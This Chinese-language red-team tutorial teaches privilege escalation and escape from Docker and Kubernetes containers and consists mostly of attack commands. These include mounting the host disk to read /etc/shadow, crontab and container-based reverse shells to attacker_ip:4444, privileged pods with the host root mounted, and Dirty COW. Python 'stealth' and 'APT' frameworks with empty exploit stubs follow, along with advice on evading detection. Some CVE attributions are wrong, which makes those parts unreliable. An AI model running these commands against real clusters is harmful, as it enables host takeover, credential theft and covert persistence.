容器权限提升技术#

技术介绍#

容器权限提升是指在容器化环境中利用配置错误、漏洞或设计缺陷,从低权限用户提升到更高权限的过程。容器权限提升是红队攻击和蓝队防御的重要技术领域,有助于发现容器环境中的安全风险。

主要权限提升技术#

  • 特权容器利用
  • 容器Capabilities滥用
  • 容器卷挂载利用
  • 容器Docker Socket利用
  • 容器内核漏洞利用
  • 容器配置错误利用
  • 容器编排系统利用
  • 容器API滥用
  • 容器网络配置利用
  • 容器文件系统利用

适用场景#

  • 红队攻击和渗透测试
  • 容器安全评估
  • 容器环境安全研究
  • 云原生安全测试
  • 容器平台安全审计

入门级使用#

特权容器权限提升#

利用特权容器进行权限提升:

# 检查容器是否为特权容器
docker inspect container_name | grep Privileged

# 如果容器是特权容器,可以提升权限
docker exec -it container_name /bin/bash

# 挂载主机文件系统
mount /dev/sda1 /mnt
chroot /mnt

# 现在可以完全控制主机系统
ls -la /mnt/etc/
cat /mnt/etc/shadow

容器Capabilities权限提升#

利用容器Capabilities进行权限提升:

# 检查容器Capabilities
docker inspect container_name | grep CapAdd

# 如果容器有额外的Capabilities,可以利用
docker exec -it container_name /bin/bash

# 利用SYS_MODULE Capability加载内核模块
insmod /host/lib/modules/evil.ko

# 利用SYS_PTRACE Capability调试进程
gdb -p $(pidof nginx)

容器卷挂载权限提升#

利用容器卷挂载进行权限提升:

# 检查容器卷挂载
docker inspect container_name | grep -A 20 Mounts

# 如果容器挂载了主机目录,可以提升权限
docker exec -it container_name /bin/bash
cd /host
ls -la

# 修改主机系统文件
echo '* * * * * root /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1' >> /host/etc/crontab

初级使用#

容器Docker Socket权限提升#

利用Docker Socket进行权限提升:

# 检查容器是否挂载了Docker Socket
docker inspect container_name | grep docker.sock

# 如果容器挂载了Docker Socket,可以提升权限
docker exec -it container_name /bin/bash

# 通过Docker API创建新容器
curl --unix-socket /var/run/docker.sock http://localhost/containers/json

# 创建特权容器
curl -X POST --unix-socket /var/run/docker.sock http://localhost/containers/create \
  -H "Content-Type: application/json" \
  -d '{
    "Image": "ubuntu:20.04",
    "Cmd": ["/bin/bash"],
    "HostConfig": {
      "Privileged": true,
      "Binds": ["/:/host"]
    }
  }'

容器内核漏洞权限提升#

利用容器共享的内核漏洞进行权限提升:

# 检查容器内核版本
docker exec -it container_name /bin/bash
uname -r

# 利用内核漏洞
# 示例:利用CVE-2016-5195(Dirty COW)
docker exec -it container_name /bin/bash

# 编译并运行漏洞利用
gcc -o dirtycow dirtycow.c
./dirtycow

# 现在可以修改只读文件
echo "root:password" >> /etc/passwd

容器配置错误权限提升#

利用容器配置错误进行权限提升:

# 检查容器配置
docker inspect container_name

# 查找配置错误
# 示例:容器以root用户运行
docker exec -it container_name /bin/bash
whoami

# 如果容器以root用户运行,可以提升权限
# 容器内的root用户可能具有主机root权限

中级使用#

Kubernetes RBAC权限提升#

利用Kubernetes RBAC进行权限提升:

# 检查当前ServiceAccount权限
kubectl auth can-i create pods
kubectl auth can-i create deployments

# 如果有创建Pod的权限,可以创建特权Pod
cat > privileged-pod.yaml <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: privileged-pod
spec:
  containers:
  - name: privileged-container
    image: ubuntu:20.04
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
EOF

kubectl apply -f privileged-pod.yaml

容器AppArmor绕过权限提升#

绕过容器AppArmor进行权限提升:

# 检查容器AppArmor配置
docker inspect container_name | grep AppArmorProfile

# 如果AppArmor配置不当,可以绕过
docker exec -it container_name /bin/bash

# 利用AppArmor配置漏洞
# 示例:利用AppArmor配置允许的路径
cat /proc/self/attr/current

容器Seccomp绕过权限提升#

绕过容器Seccomp进行权限提升:

# 检查容器Seccomp配置
docker inspect container_name | grep SeccompProfile

# 如果Seccomp配置不当,可以绕过
docker exec -it container_name /bin/bash

# 利用Seccomp配置漏洞
# 示例:利用Seccomp允许的系统调用
strace -e trace=open,read,write ls

中上级使用#

容器运行时权限提升#

利用容器运行时漏洞进行权限提升:

# 利用containerd漏洞(CVE-2021-21285)
# 创建恶意容器配置
cat > malicious-config.json <<EOF
{
  "image": "ubuntu:20.04",
  "cmd": ["/bin/bash"],
  "HostConfig": {
    "Privileged": true,
    "Binds": ["/:/host"]
  }
}
EOF

# 通过containerd API创建容器
ctr --address /run/containerd/containerd.sock containers create malicious-config.json malicious-container
ctr --address /run/containerd/containerd.sock tasks start --exec-id malicious-task malicious-container

容器镜像权限提升#

利用容器镜像中的漏洞进行权限提升:

# 扫描容器镜像漏洞
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock \
  aquasec/trivy image ubuntu:20.04

# 利用镜像中的已知漏洞
# 示例:利用CVE-2021-3711(runc漏洞)
docker run --rm -it ubuntu:20.04 /bin/bash

# 在容器中执行漏洞利用
# 实现具体的漏洞利用代码

容器网络配置权限提升#

利用容器网络配置进行权限提升:

# 检查容器网络配置
docker inspect container_name | grep NetworkSettings

# 利用容器网络配置漏洞
# 示例:利用容器网络桥接漏洞
docker exec -it container_name /bin/bash

# ARP欺骗
arpspoof -i eth0 -t target_ip container_ip

# DNS欺骗
dnsspoof -i eth0 -f /etc/hosts target_ip

高级使用#

容器环境自动化权限提升#

构建自动化的容器权限提升系统:

# 容器权限提升自动化系统
import docker
import kubernetes
import json
from datetime import datetime

class ContainerPrivilegeEscalation:
    def __init__(self, config):
        self.config = config
        self.docker_client = docker.from_env()
        self.k8s_client = kubernetes.client.CoreV1Api()
        self.escalation_history = []
    
    def scan_container_environment(self):
        # 扫描容器环境
        print(f"[{datetime.now()}] Scanning container environment...")
        
        docker_containers = self.docker_client.containers.list()
        k8s_pods = self.k8s_client.list_pod_for_all_namespaces().items
        
        return {
            'docker_containers': docker_containers,
            'k8s_pods': k8s_pods
        }
    
    def identify_escalation_opportunities(self, environment):
        # 识别权限提升机会
        print(f"[{datetime.now()}] Identifying privilege escalation opportunities...")
        
        opportunities = []
        
        # 识别特权容器
        for container in environment['docker_containers']:
            if container.attrs['HostConfig']['Privileged']:
                opportunities.append({
                    'type': 'privileged_container',
                    'container_id': container.id,
                    'name': container.name
                })
        
        # 识别挂载主机目录的容器
        for container in environment['docker_containers']:
            if container.attrs['HostConfig']['Binds']:
                opportunities.append({
                    'type': 'volume_mount',
                    'container_id': container.id,
                    'name': container.name,
                    'mounts': container.attrs['HostConfig']['Binds']
                })
        
        # 识别有额外Capabilities的容器
        for container in environment['docker_containers']:
            if container.attrs['HostConfig']['CapAdd']:
                opportunities.append({
                    'type': 'capabilities',
                    'container_id': container.id,
                    'name': container.name,
                    'capabilities': container.attrs['HostConfig']['CapAdd']
                })
        
        return opportunities
    
    def exploit_escalation_opportunity(self, opportunity):
        # 利用权限提升机会
        print(f"[{datetime.now()}] Exploiting privilege escalation opportunity: {opportunity['type']}")
        
        escalation = {
            'opportunity': opportunity,
            'timestamp': datetime.now().isoformat(),
            'method': '',
            'result': ''
        }
        
        # 根据机会类型选择提升方法
        if opportunity['type'] == 'privileged_container':
            escalation['method'] = 'privileged_container_escape'
            escalation['result'] = self.exploit_privileged_container(opportunity)
        elif opportunity['type'] == 'volume_mount':
            escalation['method'] = 'volume_mount_escape'
            escalation['result'] = self.exploit_volume_mount(opportunity)
        elif opportunity['type'] == 'capabilities':
            escalation['method'] = 'capabilities_escape'
            escalation['result'] = self.exploit_capabilities(opportunity)
        
        self.escalation_history.append(escalation)
        
        return escalation
    
    def exploit_privileged_container(self, opportunity):
        # 利用特权容器
        print(f"[{datetime.now()}] Exploiting privileged container...")
        
        # 实现特权容器利用逻辑
        
        return 'success'
    
    def exploit_volume_mount(self, opportunity):
        # 利用卷挂载
        print(f"[{datetime.now()}] Exploiting volume mount...")
        
        # 实现卷挂载利用逻辑
        
        return 'success'
    
    def exploit_capabilities(self, opportunity):
        # 利用Capabilities
        print(f"[{datetime.now()}] Exploiting capabilities...")
        
        # 实现Capabilities利用逻辑
        
        return 'success'
    
    def run_escalation(self):
        # 运行权限提升
        environment = self.scan_container_environment()
        opportunities = self.identify_escalation_opportunities(environment)
        
        for opportunity in opportunities:
            escalation = self.exploit_escalation_opportunity(opportunity)
            print(f"Escalation result: {escalation['result']}")
        
        return self.escalation_history

# 使用示例
config = {
    'attacker_ip': 'attacker_ip',
    'attacker_port': 4444
}

escalation = ContainerPrivilegeEscalation(config)
history = escalation.run_escalation()

print(f"Executed {len(history)} privilege escalations")

容器环境多层权限提升#

在容器环境中实施多层权限提升:

# 第一层:容器内权限提升
docker exec -it container_name /bin/bash

# 检查容器内用户权限
whoami
id

# 利用SUID文件提升权限
find / -perm -4000 -type f

# 利用Sudo配置提升权限
sudo -l

# 第二层:容器逃逸
# 利用特权容器逃逸到主机
mount /dev/sda1 /mnt
chroot /mnt

# 第三层:主机权限提升
# 在主机系统中提升权限
# 示例:利用内核漏洞
gcc -o exploit exploit.c
./exploit

容器环境隐蔽权限提升#

隐蔽地提升容器环境权限:

# 容器环境隐蔽权限提升系统
import docker
import kubernetes
import time
import random
from datetime import datetime

class StealthPrivilegeEscalation:
    def __init__(self, config):
        self.config = config
        self.docker_client = docker.from_env()
        self.k8s_client = kubernetes.client.CoreV1Api()
        self.escalation_history = []
    
    def stealth_escalate_privileges(self):
        # 隐蔽地提升权限
        print(f"[{datetime.now()}] Stealth escalating privileges...")
        
        # 扫描容器环境
        environment = self.scan_container_environment()
        
        # 识别权限提升机会
        opportunities = self.identify_escalation_opportunities(environment)
        
        # 随机化提升操作
        for opportunity in opportunities:
            # 随机延迟
            time.sleep(random.randint(300, 900))
            
            # 隐蔽地利用权限提升机会
            escalation = self.stealth_exploit_opportunity(opportunity)
            
            self.escalation_history.append(escalation)
    
    def scan_container_environment(self):
        # 扫描容器环境
        docker_containers = self.docker_client.containers.list()
        k8s_pods = self.k8s_client.list_pod_for_all_namespaces().items
        
        return {
            'docker_containers': docker_containers,
            'k8s_pods': k8s_pods
        }
    
    def identify_escalation_opportunities(self, environment):
        # 识别权限提升机会
        opportunities = []
        
        # 识别特权容器
        for container in environment['docker_containers']:
            if container.attrs['HostConfig']['Privileged']:
                opportunities.append({
                    'type': 'privileged_container',
                    'container_id': container.id,
                    'name': container.name
                })
        
        return opportunities
    
    def stealth_exploit_opportunity(self, opportunity):
        # 隐蔽地利用权限提升机会
        print(f"[{datetime.now()}] Stealth exploiting opportunity: {opportunity['type']}")
        
        escalation = {
            'opportunity': opportunity,
            'timestamp': datetime.now().isoformat(),
            'method': '',
            'result': ''
        }
        
        # 实现隐蔽的权限提升逻辑
        
        return escalation

# 使用示例
config = {
    'attacker_ip': 'attacker_ip',
    'attacker_port': 4444
}

escalation = StealthPrivilegeEscalation(config)
escalation.stealth_escalate_privileges()

print(f"Completed stealth privilege escalation")

大师级使用#

容器环境APT权限提升#

在容器环境中实施高级持续性威胁(APT)权限提升:

# 容器环境APT权限提升框架
import docker
import kubernetes
import time
import random
from datetime import datetime

class ContainerAPTEscalation:
    def __init__(self, target_cluster):
        self.docker_client = docker.from_env()
        self.k8s_client = kubernetes.client.CoreV1Api()
        self.target_cluster = target_cluster
        self.escalation_history = []
    
    def apt_escalation(self):
        # APT权限提升
        print(f"[{datetime.now()}] Performing APT privilege escalation...")
        
        # 提升初始访问权限
        self.escalate_initial_access()
        
        # 提升横向移动权限
        self.escalate_lateral_movement()
        
        # 提升持久化权限
        self.escalate_persistence()
        
        # 提升数据渗透权限
        self.escalate_exfiltration()
    
    def escalate_initial_access(self):
        # 提升初始访问权限
        print(f"[{datetime.now()}] Escalating initial access privileges...")
        
        # 随机化提升操作
        time.sleep(random.randint(300, 900))
        
        # 扫描容器环境
        environment = self.scan_container_environment()
        
        # 识别权限提升机会
        opportunities = self.identify_escalation_opportunities(environment)
        
        # 利用权限提升机会
        for opportunity in opportunities:
            escalation = self.exploit_escalation_opportunity(opportunity)
            
            self.escalation_history.append(escalation)
            
            # 随机延迟
            time.sleep(random.randint(300, 900))
    
    def escalate_lateral_movement(self):
        # 提升横向移动权限
        print(f"[{datetime.now()}] Escalating lateral movement privileges...")
        
        # 随机化提升操作
        time.sleep(random.randint(300, 900))
        
        # 扫描容器环境
        environment = self.scan_container_environment()
        
        # 识别横向移动目标
        targets = self.identify_lateral_targets(environment)
        
        # 提升横向移动权限
        for target in targets:
            escalation = self.escalate_lateral_target(target)
            
            self.escalation_history.append(escalation)
            
            # 随机延迟
            time.sleep(random.randint(300, 900))
    
    def escalate_persistence(self):
        # 提升持久化权限
        print(f"[{datetime.now()}] Escalating persistence privileges...")
        
        # 随机化提升操作
        time.sleep(random.randint(300, 900))
        
        # 扫描容器环境
        environment = self.scan_container_environment()
        
        # 识别持久化目标
        targets = self.identify_persistence_targets(environment)
        
        # 提升持久化权限
        for target in targets:
            escalation = self.escalate_persistence_target(target)
            
            self.escalation_history.append(escalation)
            
            # 随机延迟
            time.sleep(random.randint(300, 900))
    
    def escalate_exfiltration(self):
        # 提升数据渗透权限
        print(f"[{datetime.now()}] Escalating exfiltration privileges...")
        
        # 随机化提升操作
        time.sleep(random.randint(300, 900))
        
        # 扫描容器环境
        environment = self.scan_container_environment()
        
        # 识别数据渗透目标
        targets = self.identify_exfiltration_targets(environment)
        
        # 提升数据渗透权限
        for target in targets:
            escalation = self.escalate_exfiltration_target(target)
            
            self.escalation_history.append(escalation)
            
            # 随机延迟
            time.sleep(random.randint(300, 900))
    
    def scan_container_environment(self):
        # 扫描容器环境
        docker_containers = self.docker_client.containers.list()
        k8s_pods = self.k8s_client.list_pod_for_all_namespaces().items
        
        return {
            'docker_containers': docker_containers,
            'k8s_pods': k8s_pods
        }
    
    def identify_escalation_opportunities(self, environment):
        # 识别权限提升机会
        opportunities = []
        
        # 识别特权容器
        for container in environment['docker_containers']:
            if container.attrs['HostConfig']['Privileged']:
                opportunities.append({
                    'type': 'privileged_container',
                    'container_id': container.id,
                    'name': container.name
                })
        
        return opportunities
    
    def exploit_escalation_opportunity(self, opportunity):
        # 利用权限提升机会
        print(f"[{datetime.now()}] Exploiting escalation opportunity: {opportunity['type']}")
        
        escalation = {
            'opportunity': opportunity,
            'timestamp': datetime.now().isoformat(),
            'method': '',
            'result': ''
        }
        
        # 实现权限提升逻辑
        
        return escalation
    
    def identify_lateral_targets(self, environment):
        # 识别横向移动目标
        targets = []
        
        # 实现目标识别逻辑
        
        return targets
    
    def escalate_lateral_target(self, target):
        # 提升横向移动权限
        print(f"[{datetime.now()}] Escalating lateral target: {target}")
        
        escalation = {
            'target': target,
            'timestamp': datetime.now().isoformat(),
            'method': '',
            'result': ''
        }
        
        # 实现横向移动权限提升逻辑
        
        return escalation
    
    def identify_persistence_targets(self, environment):
        # 识别持久化目标
        targets = []
        
        # 实现目标识别逻辑
        
        return targets
    
    def escalate_persistence_target(self, target):
        # 提升持久化权限
        print(f"[{datetime.now()}] Escalating persistence target: {target}")
        
        escalation = {
            'target': target,
            'timestamp': datetime.now().isoformat(),
            'method': '',
            'result': ''
        }
        
        # 实现持久化权限提升逻辑
        
        return escalation
    
    def identify_exfiltration_targets(self, environment):
        # 识别数据渗透目标
        targets = []
        
        # 实现目标识别逻辑
        
        return targets
    
    def escalate_exfiltration_target(self, target):
        # 提升数据渗透权限
        print(f"[{datetime.now()}] Escalating exfiltration target: {target}")
        
        escalation = {
            'target': target,
            'timestamp': datetime.now().isoformat(),
            'method': '',
            'result': ''
        }
        
        # 实现数据渗透权限提升逻辑
        
        return escalation
    
    def run_apt_escalation(self):
        # 运行APT权限提升
        self.apt_escalation()
        
        return self.escalation_history

# 使用示例
apt_escalation = ContainerAPTEscalation("target-cluster")
history = apt_escalation.run_apt_escalation()

print(f"Completed APT privilege escalation with {len(history)} operations")

容器环境检测规避权限提升#

在容器环境中实施检测规避的权限提升:

# 使用隐蔽技术提升权限
# 1. 模拟正常容器行为
docker run -d --name stealth_container \
  --name nginx \
  -p 80:80 \
  nginx:latest

# 2. 在正常容器中提升权限
docker exec -d nginx \
  /bin/bash -c "nohup /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1 &"

# 3. 使用合法镜像作为载体
docker run -d --name hidden_escalation \
  -v /host:/host \
  nginx:latest \
  /bin/bash -c "while true; do /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1; sleep 60; done"

# 4. 使用环境变量控制行为
docker run -d --name conditional_escalation \
  -e ESCALATION_MODE=true \
  ubuntu:20.04 \
  /bin/bash -c "if [ \"$ESCALATION_MODE\" = \"true\" ]; then while true; do /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1; sleep 60; done; fi"

容器环境自动化权限提升#

构建自动化的容器环境权限提升系统:

# 自动化权限提升系统
import docker
import kubernetes
import time
from datetime import datetime

class AutomatedPrivilegeEscalation:
    def __init__(self, config):
        self.config = config
        self.docker_client = docker.from_env()
        self.k8s_client = kubernetes.client.CoreV1Api()
        self.escalation_history = []
    
    def run_automated_escalation(self):
        # 运行自动化权限提升
        print(f"[{datetime.now()}] Running automated privilege escalation...")
        
        # 扫描容器环境
        environment = self.scan_container_environment()
        
        # 识别权限提升机会
        opportunities = self.identify_escalation_opportunities(environment)
        
        # 利用权限提升机会
        self.exploit_escalation_opportunities(opportunities)
        
        # 验证权限提升效果
        self.verify_escalation()
        
        return self.escalation_history
    
    def scan_container_environment(self):
        # 扫描容器环境
        docker_containers = self.docker_client.containers.list()
        k8s_pods = self.k8s_client.list_pod_for_all_namespaces().items
        
        return {
            'docker_containers': docker_containers,
            'k8s_pods': k8s_pods
        }
    
    def identify_escalation_opportunities(self, environment):
        # 识别权限提升机会
        opportunities = []
        
        # 识别特权容器
        for container in environment['docker_containers']:
            if container.attrs['HostConfig']['Privileged']:
                opportunities.append({
                    'type': 'privileged_container',
                    'container_id': container.id,
                    'name': container.name
                })
        
        # 识别挂载主机目录的容器
        for container in environment['docker_containers']:
            if container.attrs['HostConfig']['Binds']:
                opportunities.append({
                    'type': 'volume_mount',
                    'container_id': container.id,
                    'name': container.name,
                    'mounts': container.attrs['HostConfig']['Binds']
                })
        
        # 识别有额外Capabilities的容器
        for container in environment['docker_containers']:
            if container.attrs['HostConfig']['CapAdd']:
                opportunities.append({
                    'type': 'capabilities',
                    'container_id': container.id,
                    'name': container.name,
                    'capabilities': container.attrs['HostConfig']['CapAdd']
                })
        
        return opportunities
    
    def exploit_escalation_opportunities(self, opportunities):
        # 利用权限提升机会
        for opportunity in opportunities:
            escalation = self.exploit_escalation_opportunity(opportunity)
            
            self.escalation_history.append(escalation)
    
    def exploit_escalation_opportunity(self, opportunity):
        # 利用权限提升机会
        print(f"[{datetime.now()}] Exploiting opportunity: {opportunity['type']}")
        
        escalation = {
            'opportunity': opportunity,
            'timestamp': datetime.now().isoformat(),
            'method': '',
            'result': ''
        }
        
        # 实现权限提升逻辑
        
        return escalation
    
    def verify_escalation(self):
        # 验证权限提升效果
        print(f"[{datetime.now()}] Verifying privilege escalation...")
        
        # 实现验证逻辑
        
        pass

# 使用示例
config = {
    'attacker_ip': 'attacker_ip',
    'attacker_port': 4444
}

escalation = AutomatedPrivilegeEscalation(config)
history = escalation.run_automated_escalation()

print(f"Completed automated privilege escalation with {len(history)} operations")

实战案例#

案例一:Docker容器权限提升#

场景:红队发现某Docker容器是特权容器,需要利用此漏洞提升权限。

解决方案:利用特权容器漏洞提升权限。

实施步骤

  1. 环境侦察

    # 扫描Docker环境
    docker ps -a
    docker images
    
    # 识别特权容器
    docker inspect $(docker ps -q) | grep -i privileged
    
    # 识别挂载主机目录的容器
    docker inspect $(docker ps -q) | grep -A 20 Mounts
  2. 权限提升

    # 利用特权容器
    docker exec -it privileged_container /bin/bash
    
    # 挂载主机文件系统
    mount /dev/sda1 /mnt
    chroot /mnt
    
    # 现在可以完全控制主机系统
    ls -la /mnt/etc/
    cat /mnt/etc/shadow
  3. 建立持久化

    • 在主机系统中建立后门
    • 确保容器重启后仍然可以访问
    • 建立多层持久化机制

结果

  • 成功利用特权容器漏洞提升权限
  • 获得了对主机系统的完全访问
  • 建立了多层持久化机制
  • 为后续渗透测试提供了稳定的访问通道

案例二:Kubernetes RBAC权限提升#

场景:红队发现某Kubernetes ServiceAccount有创建Pod的权限,需要利用此权限提升权限。

解决方案:利用Kubernetes RBAC权限创建特权Pod。

实施步骤

  1. 环境侦察

    # 扫描Kubernetes环境
    kubectl get pods --all-namespaces
    kubectl get services --all-namespaces
    
    # 检查当前ServiceAccount权限
    kubectl auth can-i create pods
    kubectl auth can-i create deployments
  2. 权限提升

    # 利用RBAC权限创建特权Pod
    cat > privileged-pod.yaml <<EOF
    apiVersion: v1
    kind: Pod
    metadata:
      name: privileged-pod
    spec:
      containers:
      - name: privileged-container
        image: ubuntu:20.04
        securityContext:
          privileged: true
        volumeMounts:
        - name: host-root
          mountPath: /host
      volumes:
      - name: host-root
        hostPath:
          path: /
    EOF
    
    kubectl apply -f privileged-pod.yaml
  3. 建立持久化

    • 在Kubernetes集群中建立持久化
    • 确保Pod重启后仍然可以访问
    • 建立多层持久化机制

结果

  • 成功利用Kubernetes RBAC权限提升权限
  • 获得了对Kubernetes集群的完全访问
  • 建立了多层持久化机制
  • 为后续渗透测试提供了稳定的访问通道

案例三:容器内核漏洞权限提升#

场景:红队发现容器主机存在内核漏洞,需要利用此漏洞提升权限。

解决方案:利用容器共享的内核漏洞提升权限。

实施步骤

  1. 环境侦察

    # 检查容器内核版本
    docker exec -it container_name /bin/bash
    uname -r
    
    # 搜索已知内核漏洞
    # 示例:CVE-2016-5195(Dirty COW)
  2. 权限提升

    # 利用内核漏洞
    docker exec -it container_name /bin/bash
    
    # 编译并运行漏洞利用
    gcc -o dirtycow dirtycow.c
    ./dirtycow
    
    # 现在可以修改只读文件
    echo "root:password" >> /etc/passwd
  3. 建立持久化

    • 在主机系统中建立后门
    • 确保容器重启后仍然可以访问
    • 建立多层持久化机制

结果

  • 成功利用容器内核漏洞提升权限
  • 获得了对主机系统的完全访问
  • 建立了多层持久化机制
  • 为后续渗透测试提供了稳定的访问通道

总结#

容器权限提升是一项复杂但强大的技术,通过本教程的学习,您已经掌握了从入门到大师级的权限提升技术。

主要技术回顾#

  • 特权容器利用:利用特权容器提升权限
  • Capabilities滥用:滥用容器Capabilities
  • 卷挂载利用:利用容器卷挂载
  • Docker Socket利用:利用Docker Socket
  • 内核漏洞利用:利用容器共享的内核漏洞
  • 配置错误利用:利用容器配置错误
  • RBAC利用:利用Kubernetes RBAC
  • 多层提升:实施多层权限提升

最佳实践#

  1. 多层提升:使用多种权限提升技术,提高成功率
  2. 隐蔽性:使用隐蔽技术避免被发现
  3. 自动化:实现权限提升的自动化,提高效率
  4. 随机化行为:随机化提升行为,规避检测
  5. 最小化影响:最小化对系统的影响,避免引起注意
  6. 合法使用:确保在授权范围内使用这些技术

注意事项#

  1. 法律合规:使用容器权限提升技术时,必须遵守相关法律法规
  2. 授权测试:确保获得目标环境的授权后再进行测试
  3. 检测规避:现代容器环境有强大的安全检测能力
  4. 影响评估:评估权限提升对系统的影响,避免破坏系统
  5. 修复责任:测试完成后,必须协助修复发现的漏洞
  6. 道德考量:确保在法律和伦理允许的范围内使用这些技术

通过合理学习和使用容器权限提升技术,您可以更好地理解容器安全,为容器安全评估和防御提供有价值的见解。同时,务必在法律和伦理允许的范围内使用这些技术,确保测试的合法性和负责任性。